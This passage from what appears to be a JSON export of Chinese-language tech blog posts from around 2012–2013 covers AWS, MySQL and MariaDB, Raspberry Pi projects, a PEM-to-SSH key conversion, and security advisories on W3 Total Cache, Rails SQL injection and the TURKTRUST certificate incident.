of data and that you want to be able to run them on EC2.</blockquote>\r\n目前只在 US-East (Northern Virginia) 有，USD$4.60/hour，硬算 720 小時，大約是每個月台幣十萬...\r\n\r\nAWS 最近在補的硬體可以看出來是 Hybrid Hosting 的路線：這些機器應該是一台只跑一個 instance，跟 Dedicated Hosting 差不多。上面跑虛擬化只是為了算錢 (accounting) 以及一些安全機制 (像是防止 IP spoof，以及配合 EC2 提供的 firewall)。\r\n\r\n實質上不太能說 AWS 不是 Hybrid Hosting 了...",
    "title": "AWS EC2 新機種：超大台的 hs1.8xlarge..."
  },
  {
    "id": "3082",
    "body": "<a href=\"http://seld.be/\">Jordi Boggiano</a> 在 <a href=\"http://www.php-fig.org/\">PHP-FIG</a> 上提案整合 log interface，參考「<a href=\"http://seld.be/notes/one-logger-to-rule-them-all\">One logger to rule them all</a>」這篇，提案本身可以參考「<a href=\"https://github.com/Seldaek/fig-standards/blob/logger-interface/proposed/logger-interface.md\">Logger Interface</a>」這裡。\r\n\r\n如果通過的話，這很有可能是 PSR-3... 所以 PHP-FIG 接下來的想法是建立 interface 嗎？hmmm...",
    "title": "可能是未來的 PSR-3：LoggerInterface"
  },
  {
    "id": "3083",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 在前幾天辦了 Webniar 解釋 <a href=\"http://www.percona.com/software/percona-toolkit\">Percona Toolkit</a> 要怎麼用 (並且宣傳有多好用 XD)：「<a href=\"http://www.percona.com/webinars/10-percona-toolkit-tools-every-mysql-dba-should-know-about\">10 Percona Toolkit Tools Every MySQL DBA Should Know About</a>」。\r\n\r\n依照慣例，Percona 在結束後會把投影片與錄影整理後放出來 (也就是上面的連結)，如果沒時間的話可以看投影片留個印象，有時間的話可以實際操作看看到底有多好用。\r\n\r\n另外在 <a href=\"http://www.mysqlperformanceblog.com/\">MySQL Performance Blog</a> 上主講者也整理了 Q&amp;A 的部份也很值得看一看：「<a href=\"http://www.mysqlperformanceblog.com/2012/12/19/percona-toolkit-webinar-followup-qa/\">Percona Toolkit Webinar followup Q&amp;A</a>」。",
    "title": "使用 Percona Toolkit 管理 MySQL..."
  },
  {
    "id": "3085",
    "body": "我很喜歡在 <a href=\"http://www.apple.com/ipad/\">iPad</a> 上用 <a href=\"http://www.zite.com/\">Zite</a> 讀文章，除了看文章以外，有些常出現的新站台我會丟到 <a href=\"https://www.google.com/reader\">Google Reader</a> 訂閱...\r\n\r\n不過最近一次改版後，操作上變得很難用...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0dTaL.webp\" /><img src=\"https://i.gslin.com/imgur/0dTaL.jpg\" alt=\"\" /></picture>\r\n\r\nnext 的設計是希望我一直看一下去，不過我用了一陣子以後發現：\r\n<ul>\r\n\t<li>大概還是有一半的文章我沒興趣。</li>\r\n\t<li>按下 next 後，如果剛好遇到 web mode 會很煩躁... (我在 Zite 裡不用 web mode 看文章)</li>\r\n</ul>\r\n所以後來就完全放棄 next 按鈕，我寧可點左上角的 close 按鈕... (要用左手按，很不方便)\r\n\r\n有人要推薦其他的軟體嗎？",
    "title": "變難用的 Zite..."
  },
  {
    "id": "3087",
    "body": "在「<a href=\"http://blog.sucuri.net/2012/12/w3-total-cache-implementation-vulnerability.html\">W3 Total Cache Implementation Vulnerability</a>」這篇說明了 <a href=\"http://wordpress.org/\">WordPress</a> 知名外掛 <a href=\"http://wordpress.org/extend/plugins/w3-total-cache/\">W3 Total Cache</a> 的安全性問題，原來的在通報在 <a href=\"http://seclists.org/fulldisclosure/\">Full Disclosure Mailing List</a> 上：「<a href=\"http://seclists.org/fulldisclosure/2012/Dec/242\">Wordpress Remote Exploit - W3 Total Cache</a>」。\r\n\r\n當沒有 opcode cache (像是 <a href=\"http://pecl.php.net/package/APC\">APC</a>) 而使用 disk DB cache 時，會有安全性問題。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/38a6Z.webp\" /><img src=\"https://i.gslin.com/imgur/38a6Z.jpg\" alt=\"\" /></picture>\r\n\r\n除了關掉 DB cache 以外，目前的 workaround 建議是針對 <code>/wp-content/w3tc/dbcache</code> 擋掉，像是用 <code>.htaccess</code> 擋：\r\n<blockquote><code>#\r\ndeny from all</code></blockquote>",
    "title": "W3 Total Cache 安全性問題..."
  },
  {
    "id": "3089",
    "body": "換工作後就在公司旁邊找房子住 (南港)，剛好是 1/1 入住，12/31 到期。常常在南港家裡餵食<a href=\"http://slzzp.blogspot.com/\">肥睡睡</a>...\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/8271565439\"><img src=\"http://farm9.staticflickr.com/8066/8271565439_879db94ea2_z.jpg\" alt=\"\" /></a>\r\n\r\n不過南港公司旁邊的生活機能還是讓人覺得很不方便，深夜如果要走到便利商店要花十分鐘，再加上身體的因素，最後還是決定先搬回家裡住。",
    "title": "搬回家..."
  },
  {
    "id": "3090",
    "body": "在「<a href=\"http://www.mysqlperformanceblog.com/2012/12/28/auditing-login-attempts-in-mysql/\">Auditing login attempts in MySQL</a>」這篇文章裡討論 <a href=\"http://dev.mysql.com/\">MySQL</a> 登入的 audit log，其中第一個方法是 full log (包含 SELECT 這類指令)，看起來可以活用...\r\n\r\n打開 General Query Log 後，幾乎所有的行為都會被記錄下來，照這個設計應該可以寫到 FIFO 裡丟到 log server 上？不知道會增加 log server 多少負荷...",
    "title": "MySQL 的 audit log"
  },
  {
    "id": "3091",
    "body": "兩個禮拜前在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到的「<a href=\"http://yro.slashdot.org/story/12/12/16/2232238/when-writing-how-anonymous-can-you-be-really\">When Writing, How Anonymous Can You Be, Really?</a>」，提到了 <a href=\"http://pan.webis.de/\">PAN Workshop and Competition</a>。\r\n\r\nPAN 2013 將在明年九月辦，除了一般有的演講以及投稿以外，還包括了三個競賽：\r\n<ul>\r\n\t<li>Plagiarism Detection</li>\r\n\t<li>Author Identification</li>\r\n\t<li>Author Profiling</li>\r\n</ul>\r\n三個題目都相當實用... 先紀錄起來，等明年九月再回頭來看？",
    "title": "NLP 的應用：PAN 2013"
  },
  {
    "id": "3092",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到「<a href=\"http://linux.slashdot.org/story/12/12/28/163211/ask-slashdot-linux-friendly-motherboard-manufacturers\">Ask Slashdot: Linux-Friendly Motherboard Manufacturers?</a>」這篇，第一個 comment 通常是最犀利的 comment... XDDD\r\n<blockquote>I heard the Raspberry Pi is very Linux compatible, in fact it doesn't even run Windows.</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/imgur/WvWl3l.jpg\" alt=\"\" />\r\n\r\n然後下面滿滿都在討論 <a href=\"http://www.raspberrypi.org/\">Raspberry Pi</a>... XDDD",
    "title": "對 Linux「友善」的主機板廠商... XD"
  },
  {
    "id": "3093",
    "body": "等了那麼久，以為會在放完假後才看到，沒想到還是在今年結束前正式公告了：「<a href=\"http://www.freebsd.org/releases/9.1R/announce.html\">FreeBSD 9.1-RELEASE Announcement</a>」。\r\n\r\n依照慣例就是修掉一些問題，然後更新 driver &amp; library...",
    "title": "FreeBSD 9.1-RELEASE..."
  },
  {
    "id": "3095",
    "body": "讓 <a href=\"http://www.raspberrypi.org/\">Raspberry Pi</a> 模擬成為 <a href=\"http://www.apple.com/airplay/\">AirPlay</a> 裝置，再外接喇叭：「<a href=\"http://jordanburgess.com/post/38986434391/raspberry-pi-airplay\">Hacking a Raspberry Pi into a wireless airplay speaker</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/gFmnn.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/0ETYo.jpg\" alt=\"\" />\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"http://www.youtube.com/embed/S4opWFboWro\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n用到 <a href=\"https://github.com/albertz/shairport\">ShairPort</a> (模擬 AirPort Express 的軟體)，而 ShairPort 目前只支援聲音的部份，所以現在只能接喇叭... 有人實做影像的時候應該就會有人把 HDMI 接上去了 :p",
    "title": "把 Raspberry Pi 當作 AirPlay 裝置放音樂..."
  },
  {
    "id": "3097",
    "body": "寫到從 <a href=\"http://www.mozilla.org/\">Mozilla</a> 換到 <a href=\"https://www.khanacademy.org/\">Khan</a> 了... XD\r\n\r\n<a href=\"http://ejohn.org/\">John Resig</a> 是 <a href=\"http://jquery.org/\">jQuery</a> 的建立者，並長期擔任 jQuery 的大頭 (不過目前已經將位置讓給其他人了，不太深入參與 jQuery 的發展了)，所以在 John Resig 還在帶領 jQuery 發展時預定所要出版的書「<a href=\"http://jsninja.com/\">Secrets of the JavaScript Ninja</a>」備受期待。\r\n\r\n<img src=\"https://i.gslin.com/imgur/KnETy.jpg\" alt=\"The cover of Secrets of the JavaScript Ninja\" />\r\n\r\n然後這一期待就是三年... 從 2009 年開始寫 (參考「<a href=\"http://ejohn.org/blog/50-off-secrets-of-the-javascript-ninja/\">50% Off Secrets of the JavaScript Ninja</a>」這篇)，終於在 2012 年結束之前寫完上架了：\r\n\r\n<blockquote class=\"twitter-tweet\"><p>Looks like my new book \"Secrets of the JavaScript Ninja\" is finally out! <a href=\"http://t.co/MbvsT6rT\" title=\"http://www.amazon.com/dp/193398869X/\">amazon.com/dp/193398869X/</a> Happy New Year!</p>&mdash; John Resig (@jeresig) <a href=\"https://twitter.com/jeresig/status/285858421029347328\" data-datetime=\"2012-12-31T21:22:13+00:00\">December 31, 2012</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n嗯，<a href=\"https://ja.wikipedia.org/wiki/HUNTER×HUNTER\">HUNTER×HUNTER</a> 什麼時候會出下一章呢...",
    "title": "John Resig 寫超過三年的 Secrets of the JavaScript Ninja 終於出版了..."
  },
  {
    "id": "3098",
    "body": "「<a href=\"http://sysadmin1138.net/mt/blog/2012/12/how-multi-disk-failures-happen.shtml\">How multi-disk failures happen</a>」這篇畫了不少圖解釋在 RAID5 上面偶而會遇到的 Multi-disk failure 問題 (RAID6 也會，風險比較低而已)。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/File:RAID_5.svg\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pEvHC.webp\" /><img src=\"https://i.gslin.com/imgur/pEvHC.jpg\" alt=\"RAID 5\" /></picture></a>\r\n\r\n平常壞軌時，RAID 系統不一定會發現，直到 RAID rebuild 時讀過所有的磁區，系統才發現其他壞軌，造成第二顆被標為損壞... (推論到 RAID6 的情況就是再發生一次)\r\n\r\n這在 I/O 比較頻繁的 RAID 比較不容易發生 (因為在量小的時候就容易偵測到)。\r\n\r\n對於比較閒的系統，應該放個 cron 跑 <code>dd if=/dev/XXX of=/dev/null</code> 嗎？:p",
    "title": "RAID5 會遇到的 Multi-disk failure 問題"
  },
  {
    "id": "3099",
    "body": "有時候除了可以看介紹新技術的文章學東西外，報告類的文章也可以看得出來目前的趨勢。\r\n\r\n像是 Mozilla Database Team 的年終報告描述近況與最後這季做了哪些事情「<a href=\"https://blog.mozilla.org/it/2012/12/31/december-news-from-the-mozilla-database-team/\">December News from the Mozilla Database Team</a>」：\r\n<ul>\r\n\t<li>之前還在用 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.0，現在 Migrate 到 5.1 了，另外正在嘗試 <a href=\"http://mariadb.org/\">MariaDB</a> 5.5。</li>\r\n\t<li>很大一部分是在 tune <a href=\"http://www.bugzilla.org/\">Bugzilla</a> 的效能，包括 SQL query optimization，以及 data partition 計畫。</li>\r\n\t<li>測試 SSD 覺得不錯，看起來好像也測過 <a href=\"http://www.fusionio.com/\">Fusion-io</a> 的產品，不過價錢不太能接受？</li>\r\n</ul>\r\n另外還有一些 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 的說明，看起來還沒穩下來...\r\n\r\n目前已經看到維基百科與 Mozilla 都在嘗試 MariaDB，看了看 <a href=\"https://kb.askmonty.org/en/mariadb-versus-mysql-features/\">MariaDB versus MySQL - Features</a> 發現有趣的東西還不少，除了 <a href=\"https://kb.askmonty.org/en/aria/\">Aria</a> 以外，<a href=\"https://kb.askmonty.org/en/virtual-columns/\">Virtual Columns</a> 與 <a href=\"https://kb.askmonty.org/en/dynamic-columns/\">Dynamic columns</a> 似乎都是有趣的東西...",
    "title": "看 Mozilla Database Team 的年終報告..."
  },
  {
    "id": "3100",
    "body": "在 <a href=\"https://en.wikipedia.org/wiki/RSA_(algorithm)\">RSA</a> 中，單獨靠 Private Key 是無法算出 Public Key 的，不過在 PEM 檔裡因為都有紀錄，所以可以取出：\r\n<blockquote><code>openssl rsa -in aws.pem -pubout</code></blockquote>\r\n不過取出的格式需要再轉一次讓 <a href=\"http://www.openssh.com/\">OpenSSH</a> 可以吃：(參考「<a href=\"http://stackoverflow.com/questions/1011572/convert-pem-key-to-ssh-rsa-format\">Convert pem key to ssh-rsa format</a>」這篇的方法)\r\n<blockquote><code>ssh-keygen -f aws.pub -i -m PKCS8</code></blockquote>\r\n雖然 <code>ssh-keygen</code> 不接受 <code>-</code> 當 stdin，但可以利用 <code>/dev/stdin</code> 直接串起來：\r\n<blockquote><code>openssl rsa -in aws.pem -pubout | ssh-keygen -f /dev/stdin -i -m PKCS8</code></blockquote>",
    "title": "把 PEM Private Key 檔轉成 SSH Public Key 格式..."
  },
  {
    "id": "3101",
    "body": "<a href=\"http://montyprogram.com/\">Monty Program AB</a> 是 <a href=\"http://dev.mysql.com/\">MySQL</a> 的發起人 <a href=\"http://monty-says.blogspot.com/\">Monty</a> 在離開 <a href=\"http://www.sun.com/\">Sun</a> 之後所創辦的公司 (他同時也是 <a href=\"http://www.mysql.com/\">MySQL AB</a> 的創辦人)，這家公司目前以 <a href=\"https://mariadb.org/\">MariaDB</a> 為發展主力。\r\n\r\n先說對 MariaDB 目前的看法：暫時還是會用 <a href=\"http://www.percona.com/\">Percona</a> 所提供的版本，以及 <a href=\"http://www.percona.com/software/percona-xtradb\">XtraDB</a> (基於 <a href=\"http://www.innodb.com/\">InnoDB</a> 的產品)。\r\n\r\nMariaDB 發展的重點在於 <a href=\"https://kb.askmonty.org/en/aria-storage-engine/\">Aria storage Engine</a>，但目前的 1.5 版只支援 crash-safe，要到 2.0 才會支援 InnoDB 主要功能，而到了 2.5 才會針對效能調整，看起來要到「能用」必須要到 2.5 之後... (參考「<a href=\"https://kb.askmonty.org/en/aria-faq/\">Aria FAQ</a>」的說明)\r\n\r\nInnoDB 控制權在 Oracle 手上，XtraDB 控制權在 Percona 手上，而 MyISAM 拿不上檯面。所以 Monty 想要一個控制權在他自己手上的 storage engine...\r\n\r\n對於社群來說，因為 XtraDB 還是基於 InnoDB 的分支，所以當 Oracle 從 InnoDB 抽手後大家會擔心 Percona 能夠自己發展到什麼程度。這使得對於 Aria 有所期待，也趁著現在 Oracle 被歐盟盯著不致於做的太明顯趕快發展。\r\n\r\n這也可能是 <a href=\"http://www.wikimedia.org/\">Wikimedia</a> 與 <a href=\"http://www.mozilla.org/\">Mozilla</a> 選 MariaDB 當 slave 測試的原因？當然也有可能只是「看名字比較順眼」之類的原因而選... XD",
    "title": "測試 MariaDB 後的一些感想..."
  },
  {
    "id": "3102",
    "body": "<a href=\"http://www.delicious.com/\">Delicious</a> 愈來愈不順手，花了一次性的 USD$9.97 買 <a href=\"https://pinboard.in/\">Pinboard</a> 服務，把問題解決掉... 畫面長這樣，很像古早的 (最好用的那段期間) Delicious：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yJEpL.webp\" /><img src=\"https://i.gslin.com/imgur/yJEpL.jpg\" alt=\"\" /></picture>\r\n\r\n把 bookmarklet 也換掉，沒意外的話，之後應該不會用 Delicious 了 :o",
    "title": "從 Delicious 換到 Pinboard..."
  },
  {
    "id": "3103",
    "body": "<a href=\"http://www.apple.com/ipad/\">iPad</a> 上的版本在看完文章後要按左上角的叉叉才能離開：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0dTaL.webp\" /><img src=\"https://i.gslin.com/imgur/0dTaL.jpg\" alt=\"\" /></picture>\r\n\r\n不過在 <a href=\"http://www.apple.com/iphone/\">iPhone</a> 上的版本在看完文章要回到總覽頁時，可以用右手「由左到右劃過」離開：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/iQPZX.webp\" /><img src=\"https://i.gslin.com/imgur/iQPZX.jpg\" alt=\"\" /></picture>\r\n\r\n而且剛剛在 iPad 版上又遇到空白頁了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uUibJ.webp\" /><img src=\"https://i.gslin.com/imgur/uUibJ.jpg\" alt=\"\" /></picture>\r\n\r\n其他幾套推薦的軟體也同時在測試中...",
    "title": "先暫時改用手機版的 Zite... (操作與 bug 比 iPad 好不少)"
  },
  {
    "id": "3105",
    "body": "在「<a href=\"http://www.howtogeek.com/132348/dont-have-a-false-sense-of-security-5-insecure-ways-to-secure-your-wi-fi/\">Don’t Have a False Sense of Security: 5 Insecure Ways to Secure Your Wi-Fi</a>」這篇文章裡面提到了五個「不安全的安全措施」：\r\n<ul>\r\n\t<li>使用 <a href=\"https://zh.wikipedia.org/wiki/%E6%9C%89%E7%B7%9A%E7%AD%89%E6%95%88%E5%8A%A0%E5%AF%86\">WEP</a>。</li>\r\n\t<li>隱藏 <a href=\"https://zh.wikipedia.org/wiki/%E6%9C%8D%E5%8A%A1%E9%9B%86%E6%A0%87%E8%AF%86%E7%AC%A6\">SSID</a>。</li>\r\n\t<li>過濾 Mac Address。</li>\r\n\t<li>使用 Static IP。</li>\r\n\t<li>使用 <a href=\"https://zh.wikipedia.org/wiki/WPA\">WPA</a> 或 WPA2 但仍使用短密碼或弱密碼。</li>\r\n</ul>\r\n無線網路不太好搞啊... 有些公司是直接限制無線網路只能連到 VPN server，利用 IPSec VPN 或是 SSLVPN 保護。",
    "title": "增加無線網路的安全性"
  },
  {
    "id": "3106",
    "body": "「<a href=\"http://vincentlamanna.com/MySQL/2012/12/29/common-use-cases-for-the-mysql-join-statement/\">Common use cases for the MySQL Join statement</a>」這篇給的範例與把 <a href=\"http://dev.mysql.com/\">MySQL</a> 上常用到的幾種 JOIN 提出來分析，包括 index 與 explain。另外在「<a href=\"http://vincentlamanna.com/MySQL/2012/12/31/managing-hierarchical-data-with-mysql/\">Managing hierarchical data with MySQL</a>」也提到了要怎麼處理階層式資料。\r\n\r\n對於 JOIN 大概分幾個階段：\r\n<ul>\r\n\t<li>在使用 <a href=\"http://dev.mysql.com/doc/refman/5.5/en/myisam-storage-engine.html\">MyISAM</a> 的時候會儘量避免 JOIN，因為當 SQL 執行時間久的時候會有好幾個 table 同時卡住無法寫入。</li>\r\n\t<li>改用 <a href=\"http://www.innodb.com/\">InnoDB</a> 後一直用 JOIN，不論是報表或是 web SQL query，造成 CPU bound (雖然不是 table lock，但在 <a href=\"https://en.wikipedia.org/wiki/Multiversion_concurrency_control\">MVCC</a> 架構下，讀取也還是有 lock 成本存在)。</li>\r\n\t<li>把 JOIN 形式的 web SQL query 拆成多個 SQL query 以降低 lock 成本；針對計算成本很高的結果 cache，再針對 cache 效果不佳的表格逆正規化。只有報表不受限使用 JOIN。</li>\r\n</ul>\r\n後面的階段則是 data sharding 與 NoSQL。不過每個階段的界線不是那麼明顯，有時候會重疊在一起...\r\n\r\n說到逆正規化，<a href=\"https://mariadb.org/\">MariaDB</a> 的 <a href=\"https://kb.askmonty.org/en/virtual-columns/\">Virtual Columns</a> + PERSIST 好像是逆正規化的好工具，再來測仔細一點...",
    "title": "MySQL 內 JOIN 的應用..."
  },
  {
    "id": "3108",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"http://jnlin.org/\">jnlin</a> 提到：\r\n\r\n<blockquote class=\"twitter-tweet\"><p>28.993 ... <a href=\"http://t.co/xgTJXQId\" title=\"http://murmur.tw/jnlin/5078149\">murmur.tw/jnlin/5078149</a></p>&mdash; Jui-Nan Lin (@jnlin) <a href=\"https://twitter.com/jnlin/status/286679879817244672\" data-datetime=\"2013-01-03T03:46:24+00:00\">January 3, 2013</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這數字看起來跟匯率有關，跑去查 <a href=\"https://www.google.com/search?q=1USD\">1USD</a> 果然是講這個數字：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/aNB15.webp\" /><img src=\"https://i.gslin.com/imgur/aNB15.jpg\" alt=\"1USD\" /></picture>\r\n\r\n突破 29 了啊...",
    "title": "1USD..."
  },
  {
    "id": "3109",
    "body": "下午遇到<a href=\"http://iamhlb.com/\">布丁大長輩</a>的時候他還很開心說「我用 2.3 沒問題的啊～」XDDD\r\n\r\n今天 <a href=\"http://rubyonrails.org/\">Ruby on Rails</a> 官方對 Active Record 發出安全性通報以及更新 (類別為 SQL Injection)：「<a href=\"http://weblog.rubyonrails.org/2013/1/2/Rails-3-2-10--3-1-9--and-3-0-18-have-been-released/\">[ANN] Rails 3.2.10, 3.1.9, and 3.0.18 have been released!</a>」。\r\n\r\n請不要只看標題，這次的安全性問題包括所有版本，而非 3.x 而已。這次的安全性問題太過歡樂，所以除了在支援的版本以外 (3.1 與 3.2)，這次的安全性問題還是提供了 2.3 與 3.0 的 patch 讓人下載，並提供當無法使用 patch 時的 workaround：「<a href=\"https://groups.google.com/d/topic/rubyonrails-security/DCNTNp_qjFM/discussion\">SQL Injection Vulnerability in Ruby on Rails (CVE-2012-5664)</a>」。",
    "title": "請僅快確認這次 RoR 所提供的安全性公告"
  },
  {
    "id": "3110",
    "body": "在「<a href=\"http://kottke.org/13/01/how-blind-people-use-instagram\">How blind people use Instagram</a>」看到的一段影片：\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"http://www.youtube.com/embed/P1e7ZCKQfMA\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n<a href=\"http://blindfilmcritic.com/\">Tommy Edison</a> 的 <a href=\"http://instagram.com/\">Instgram</a> 帳號在這：「<a href=\"http://instagram.com/blindfilmcritic\">blindfilmcritic</a>」。",
    "title": "視障人士用 Instgram 的方式..."
  },
  {
    "id": "3112",
    "body": "出自「<a href=\"http://gigaom.com/europe/french-isp-blocks-online-ads-by-default-just-a-beta-feature-glitch/\">French ISP blocks online ads by default – just a beta feature glitch?</a>」與「<a href=\"http://arstechnica.com/business/2013/01/frances-second-largest-isp-deploys-ad-blocking-via-firmware-update/\">France’s second-largest ISP deploys ad blocking via firmware update</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/MLRDy.jpg\" alt=\"Freebox\" />\r\n\r\n法國第二大的 ISP「<a href=\"http://www.free.fr/\">Free</a>」在最近一次的韌體更新裡，增加了「過濾廣告 (adblock)」的功能，並標為 beta：「<a href=\"http://dev.freebox.fr/blog/?p=1123\">Mise à jour Freebox Server 1.1.9</a>」，不過，有很多人發現這個 beta 功能預設是開啟的... 然後就看到所有以網路廣告為生的科技新聞網站一面負評... XDDD\r\n\r\n前幾天 Free 才爆出擋 YouTube 的新聞「<a href=\"http://gigaom.com/2013/01/02/youtube-sucks-on-french-isp-free-french-regulators-want-to-know-why/\">YouTube sucks on French ISP Free, and French regulators want to know why</a>」，<a href=\"http://www.arcep.fr/\">ARCEP</a> (法國的電信監管組織) 喊說要查網路中立性問題，結果馬上就來個下馬威 xDDD\r\n\r\n話說回來，<a href=\"http://www.hinet.net/\">中華電信</a>把<a href=\"http://hicare.hinet.net/\">色情守門員</a>的名單改一改，應該也可以推出類似的服務？XDDD",
    "title": "法國 ISP「Free」主動更新上機盒韌體，主動擋掉廣告..."
  },
  {
    "id": "3113",
    "body": "<a href=\"http://www.cloudflare.com/\">CloudFlare</a> 是一種 CDN 服務，相較於其他 CDN 會被歸類到 <a href=\"http://www.akamai.com/\">Akamai</a> 的 <a href=\"http://www.akamai.com/html/solutions/dynamic_site_accelerator.html\">Dynamic Site Accelerator</a>，<a href=\"http://www.limelight.com/\">Limelight Networks</a> 的 <a href=\"http://www.limelight.com/services/content-management/dynamic-site-platform/\">Dynamic Site Platform</a>，或是 <a href=\"http://www.edgecast.com/\">EdgeCast</a> 的 <a href=\"http://www.edgecast.com/services/adn/\">Application Delivery Network</a>。\r\n\r\n這類型的 CDN 加速服務，如果用在完全沒有考慮最佳化的網站上，效果應該會很明顯。但如果拿到 <a href=\"http://wordpress.org/\">WordPress</a> 或是其他 open source 軟體上，反而會因為軟體已經做了不少處理，上了 CloudFlare 反而因為多了一層而變慢。\r\n\r\n不過會變慢多少呢？有人跳下去測試寫報告了：「<a href=\"http://blog.dh42.com/cloudflare-showdown/\">Cloudflare Showdown</a>」，如果懶得看中間的數據，可以看最後的結論「<a href=\"http://blog.dh42.com/cloudflare-showdown/6/\">Conclusion</a>」。\r\n\r\n如果用在已經最佳化過的網站上，用 CloudFlare 會慢不少，如果是 WordPress 及其他 open source 軟體，最好的情況是快一點點，但最差的情況會慢個幾倍... 作者下的結論是「不要用」。\r\n\r\n跟預期差不多，動態資料的加速基本上是個商業包裝而已，真正需要加速還是得自己把可以 cache 的部份切割出來。",
    "title": "CloudFlare 的速度..."
  },
  {
    "id": "3114",
    "body": "這次 <a href=\"http://www.turktrust.com.tr/\">TURKTRUST</a> 誤發 <code>*.google.com</code> 憑證被 <a href=\"https://www.google.com/\">Google</a> 當初佈下的網子抓到：「<a href=\"http://googleonlinesecurity.blogspot.com/2013/01/enhancing-digital-certificate-security.html\">Enhancing digital certificate security</a>」。\r\n\r\n首先是每次 CA 出問題後都會對目前的 PKI 提出質疑的文章 (像是「<a href=\"http://threatpost.com/en_us/blogs/turktrust-incident-raises-renewed-questions-about-ca-system-010413\">TURKTRUST Incident Raises Renewed Questions About CA System</a>」)，在沒有有效的方法可以取代目前的 PKI 前，都是吵一吵之後就沒有結論，所以先不管這個題目。\r\n\r\n想要提出來的是 <a href=\"https://www.google.com/\">Google</a> 這次抓到的機制：「<a href=\"http://tools.ietf.org/html/draft-ietf-websec-key-pinning-04\">Public Key Pinning Extension for HTTP</a>」，目前狀態仍是 draft。不過 Google 在 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 13 就已經實作一部分了，並且把一堆 domain 寫死進去：「<a href=\"http://src.chromium.org/viewvc/chrome/trunk/src/net/base/transport_security_state_static.json?view=markup\">View of /trunk/src/net/base/transport_security_state_static.json</a>」，可以看到 Google 的 domain 只允許這些 CA 簽：\r\n<blockquote><pre>      \"name\": \"google\",\r\n      \"static_spki_hashes\": [\r\n        \"VeriSignClass3\",\r\n        \"VeriSignClass3_G3\",\r\n        \"Google1024\",\r\n        \"Google2048\",\r\n        \"EquifaxSecureCA\",\r\n        \"GeoTrustGlobal\"\r\n      ],</pre></blockquote>\r\n任何想要在太歲爺上動土的都會被抓包 XD\r\n\r\n另外 Google Chrome 還是沒有 Certificate 相關的 API，目前只有 API Proposal 掛著：「<a href=\"http://www.chromium.org/developers/design-documents/extensions/proposed-changes/apis-under-development/webrequest-ssl-hooks\">webRequest SSL Hooks</a>」，相較於 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 有不少 extension 可以用，這方面 Google Chrome 就差了不少...",
    "title": "這次 TURKTRUST 誤發 *.google.com SSL 憑證..."
  },
  {
    "id": "3115",
    "body": "在 <a href=\"http://lists.randombit.net/mailman/listinfo/cryptography\">cryptography mailing list</a> 上有人問了這個問題，結果 <a href=\"http://www.entrust.com/\">Entrust</a> 的 CTO，Jon Callas 跑出來回答：「<a href=\"http://lists.randombit.net/pipermail/cryptography/2013-January/003601.html\">How much does it cost to start a root CA ?</a>」。\r\n\r\n答案是，第一次的費用大約 25 萬美金，其中人事費用佔很大一塊。另外每年還有固定的維護費用 (設備與稽核)：所有的行為都必須被稽核，而且所有的的控管都必須是雙重認證，以確保一個人無法破壞 CA 的安全性。\r\n\r\n還蠻有趣的回覆...",
    "title": "建一個 Root CA 的開銷..."
  },
  {
    "id": "3117",
    "body": "「<a href=\"http://scriptingmysql.wordpress.com/2013/01/07/mysql-replication-multi-threaded-slaves-parallel-event-execution/\">MySQL Replication – Multi-Threaded Slaves (Parallel Event Execution)</a>」這篇在講 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.6 的 multi-threaded replication。\r\n\r\n在文章裡提到，在 5.6.3 之前的版本，MySQL replication 都是 single-threaded，所以當 master 可以充分發揮多 CPU 能力時，slave 仍然要一個更新跑完才會跑下一個更新。\r\n\r\n舉例來說，假設 master server 上有兩個 thread 在跑：\r\n<ul>\r\n\t<li>thread 1 正在執行 <code>UPDATE table1 SET foo = 0 WHERE ...;</code> (SQL 1，假定是 CPU bound，需要跑 100 秒)</li>\r\n\t<li>thread 2 正在執行 <code>UPDATE table2 SET bar = 1 WHERE ...;</code> (SQL 2，也假定是 CPU bound，也需要跑 100 秒)</li>\r\n</ul>\r\n假設 thread 1 先執行完，這時候 slave 就會在跑完的時候收到 SQL 1，然後把資料同步進去。等到 100 秒過去後，再跑 SQL 2，再花 100 秒。這導致了最少 100 秒的 replication lag (master 與 slave 不同步的時間)。\r\n\r\n在 master server 執行時會是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/YIVKR.webp\" /><img src=\"https://i.gslin.com/imgur/YIVKR.jpg\" alt=\"\" /></picture>\r\n\r\n兩個 SQL query 可以同時跑。\r\n\r\n到了 slave 時，在 MySQL 5.6.3 之前的 replication 會變成這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/833ua.webp\" /><img src=\"https://i.gslin.com/imgur/833ua.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到還是得先執行 